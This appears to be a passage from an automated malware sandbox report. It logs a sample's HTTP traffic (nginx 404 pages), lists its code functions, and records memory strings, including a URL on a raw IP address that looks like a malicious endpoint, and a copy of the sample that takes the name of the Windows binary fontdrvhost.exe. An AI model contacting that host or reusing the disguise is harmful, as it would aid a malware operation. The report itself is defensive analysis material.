49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Mar 2024 06:38:03 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Mar 2024 06:38:15 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Mar 2024 06:38:30 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Mar 2024 06:38:43 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Mar 2024 06:38:55 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: fontdrvhost.exe, 00000008.00000002.1704980568.0000000003102000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 0000000E.00000002.1796124572.00000000035D7000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000015.00000002.1883168171.0000000003347000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 0000001B.00000002.1932041291.0000000002F11000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000022.00000002.2017458339.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000023.00000002.2120982731.00000000033F7000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 0000002A.00000002.2116613612.0000000003855000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000033.00000002.2490608916.000000000363C000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000034.00000002.2251980191.0000000002F84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.23.98.225
Source: fontdrvhost.exe, 00000034.00000002.2251980191.0000000002F84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.23.98.225/8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generato
Source: ZT3pxe2Tb4.exe, 00000000.00000002.1647722543.0000000003A79000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000008.00000002.1704980568.0000000003102000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 0000000E.00000002.1796124572.00000000035D7000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000015.00000002.1883168171.0000000003347000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 0000001B.00000002.1932041291.0000000002F11000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000022.00000002.2017458339.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000023.00000002.2120982731.00000000033F7000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 0000002A.00000002.2116613612.0000000003855000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000033.00000002.2490608916.000000000363C000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000034.00000002.2251980191.0000000002F84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 0_2_00007FFD9BA10DA8	0_2_00007FFD9BA10DA8
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 0_2_00007FFD9BBD7444	0_2_00007FFD9BBD7444
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 0_2_00007FFD9BBD7384	0_2_00007FFD9BBD7384
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 0_2_00007FFD9BBD5A00	0_2_00007FFD9BBD5A00
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 0_2_00007FFD9BBC09BE	0_2_00007FFD9BBC09BE
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 0_2_00007FFD9BBD6179	0_2_00007FFD9BBD6179
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 0_2_00007FFD9BBD4978	0_2_00007FFD9BBD4978
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 0_2_00007FFD9BBC000A	0_2_00007FFD9BBC000A
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 0_2_00007FFD9BBD4F51	0_2_00007FFD9BBD4F51
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 0_2_00007FFD9BBD3600	0_2_00007FFD9BBD3600
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 0_2_00007FFD9BBD761C	0_2_00007FFD9BBD761C
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 0_2_00007FFD9BBD55D4	0_2_00007FFD9BBD55D4
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 0_2_00007FFD9BBD4D31	0_2_00007FFD9BBD4D31
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 0_2_00007FFD9BBD4D12	0_2_00007FFD9BBD4D12
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 0_2_00007FFD9BBD4CA1	0_2_00007FFD9BBD4CA1
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 0_2_00007FFD9BBD6C80	0_2_00007FFD9BBD6C80
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 0_2_00007FFD9C0F78B0	0_2_00007FFD9C0F78B0
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 8_2_00007FFD9B9F0DA8	8_2_00007FFD9B9F0DA8
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 8_2_00007FFD9BBB4BF2	8_2_00007FFD9BBB4BF2
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 8_2_00007FFD9BBB5A00	8_2_00007FFD9BBB5A00
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 8_2_00007FFD9BBA09BE	8_2_00007FFD9BBA09BE
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 8_2_00007FFD9BBB4978	8_2_00007FFD9BBB4978
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 8_2_00007FFD9BBA000A	8_2_00007FFD9BBA000A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 8_2_00007FFD9BBB5E82	8_2_00007FFD9BBB5E82
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 8_2_00007FFD9BBB3600	8_2_00007FFD9BBB3600
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 8_2_00007FFD9BBB55D3	8_2_00007FFD9BBB55D3
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 8_2_00007FFD9BBB6590	8_2_00007FFD9BBB6590
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 8_2_00007FFD9BBB34F3	8_2_00007FFD9BBB34F3
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 8_2_00007FFD9BBB4CF2	8_2_00007FFD9BBB4CF2
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 8_2_00007FFD9BBB6C80	8_2_00007FFD9BBB6C80
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 9_2_00007FFD9BA2B7ED	9_2_00007FFD9BA2B7ED
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 9_2_00007FFD9BA10DA8	9_2_00007FFD9BA10DA8
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 9_2_00007FFD9BA1F562	9_2_00007FFD9BA1F562
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 9_2_00007FFD9BA69EB8	9_2_00007FFD9BA69EB8
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 9_2_00007FFD9BA2D344	9_2_00007FFD9BA2D344
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 14_2_00007FFD9BA20DA8	14_2_00007FFD9BA20DA8
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 14_2_00007FFD9BBD09BE	14_2_00007FFD9BBD09BE
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 14_2_00007FFD9BBD000A	14_2_00007FFD9BBD000A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 14_2_00007FFD9BBE3600	14_2_00007FFD9BBE3600
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 14_2_00007FFD9C1078B0	14_2_00007FFD9C1078B0
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9BA0B7ED	21_2_00007FFD9BA0B7ED
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9B9F0DA8	21_2_00007FFD9B9F0DA8
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9B9FF562	21_2_00007FFD9B9FF562
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9BA49EB8	21_2_00007FFD9BA49EB8
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9BBA09BE	21_2_00007FFD9BBA09BE
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9BBB4978	21_2_00007FFD9BBB4978
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9BBA000A	21_2_00007FFD9BBA000A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9BBB3600	21_2_00007FFD9BBB3600
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9BBB34F3	21_2_00007FFD9BBB34F3
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9BBC2C24	21_2_00007FFD9BBC2C24
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9BBC13D8	21_2_00007FFD9BBC13D8
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9BBC16F2	21_2_00007FFD9BBC16F2
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9BBC82C8	21_2_00007FFD9BBC82C8
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9C0FE8A1	21_2_00007FFD9C0FE8A1
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9C0DB66F	21_2_00007FFD9C0DB66F
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9C10B9CA	21_2_00007FFD9C10B9CA
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9C10CE22	21_2_00007FFD9C10CE22
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9C10B24D	21_2_00007FFD9C10B24D
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9BA0D344	21_2_00007FFD9BA0D344
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 27_2_00007FFD9BA00DA8	27_2_00007FFD9BA00DA8
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 27_2_00007FFD9BBC5A00	27_2_00007FFD9BBC5A00
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 27_2_00007FFD9BBB09BE	27_2_00007FFD9BBB09BE
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 27_2_00007FFD9BBC4978	27_2_00007FFD9BBC4978
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 27_2_00007FFD9BBB000A	27_2_00007FFD9BBB000A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 27_2_00007FFD9BBC4F4F	27_2_00007FFD9BBC4F4F
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 27_2_00007FFD9BBC3600	27_2_00007FFD9BBC3600
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 27_2_00007FFD9BBC55D4	27_2_00007FFD9BBC55D4
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 27_2_00007FFD9BBC4D2F	27_2_00007FFD9BBC4D2F
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 27_2_00007FFD9BBC34F3	27_2_00007FFD9BBC34F3
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 27_2_00007FFD9BBC4D0F	27_2_00007FFD9BBC4D0F
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 27_2_00007FFD9BBC4C9F	27_2_00007FFD9BBC4C9F
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 27_2_00007FFD9BBC6C80	27_2_00007FFD9BBC6C80
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 27_2_00007FFD9C0E78B0	27_2_00007FFD9C0E78B0
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 27_2_00007FFD9C0E3518	27_2_00007FFD9C0E3518
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 34_2_00007FFD9B9E0DA8	34_2_00007FFD9B9E0DA8
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 34_2_00007FFD9BBA4BF2	34_2_00007FFD9BBA4BF2
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 34_2_00007FFD9BBA5A00	34_2_00007FFD9BBA5A00
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 34_2_00007FFD9BB909BE	34_2_00007FFD9BB909BE
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 34_2_00007FFD9BBA4978	34_2_00007FFD9BBA4978
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 34_2_00007FFD9BBA5E82	34_2_00007FFD9BBA5E82
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 34_2_00007FFD9BBA3600	34_2_00007FFD9BBA3600
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 34_2_00007FFD9BBA55D3	34_2_00007FFD9BBA55D3
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 34_2_00007FFD9BBA4CF2	34_2_00007FFD9BBA4CF2
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 34_2_00007FFD9BBA34F3	34_2_00007FFD9BBA34F3
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 34_2_00007FFD9C0C78B0	34_2_00007FFD9C0C78B0
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BA2B7ED	35_2_00007FFD9BA2B7ED
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BA1F562	35_2_00007FFD9BA1F562
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BA10DA8	35_2_00007FFD9BA10DA8
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BA69EB8	35_2_00007FFD9BA69EB8
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BBC09BE	35_2_00007FFD9BBC09BE
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BBD4978	35_2_00007FFD9BBD4978
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BBC000A	35_2_00007FFD9BBC000A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BBD3600	35_2_00007FFD9BBD3600
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BBD4D31	35_2_00007FFD9BBD4D31
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BBD4D12	35_2_00007FFD9BBD4D12
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BBD4CA1	35_2_00007FFD9BBD4CA1
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BBE23E0	35_2_00007FFD9BBE23E0
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BBE13D8	35_2_00007FFD9BBE13D8
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BBE23CF	35_2_00007FFD9BBE23CF
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BBE82E1	35_2_00007FFD9BBE82E1
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BBE16F2	35_2_00007FFD9BBE16F2
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9C0F78B0	35_2_00007FFD9C0F78B0
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9C0FB66F	35_2_00007FFD9C0FB66F
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9C12B9CA	35_2_00007FFD9C12B9CA
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9C12CE22	35_2_00007FFD9C12CE22
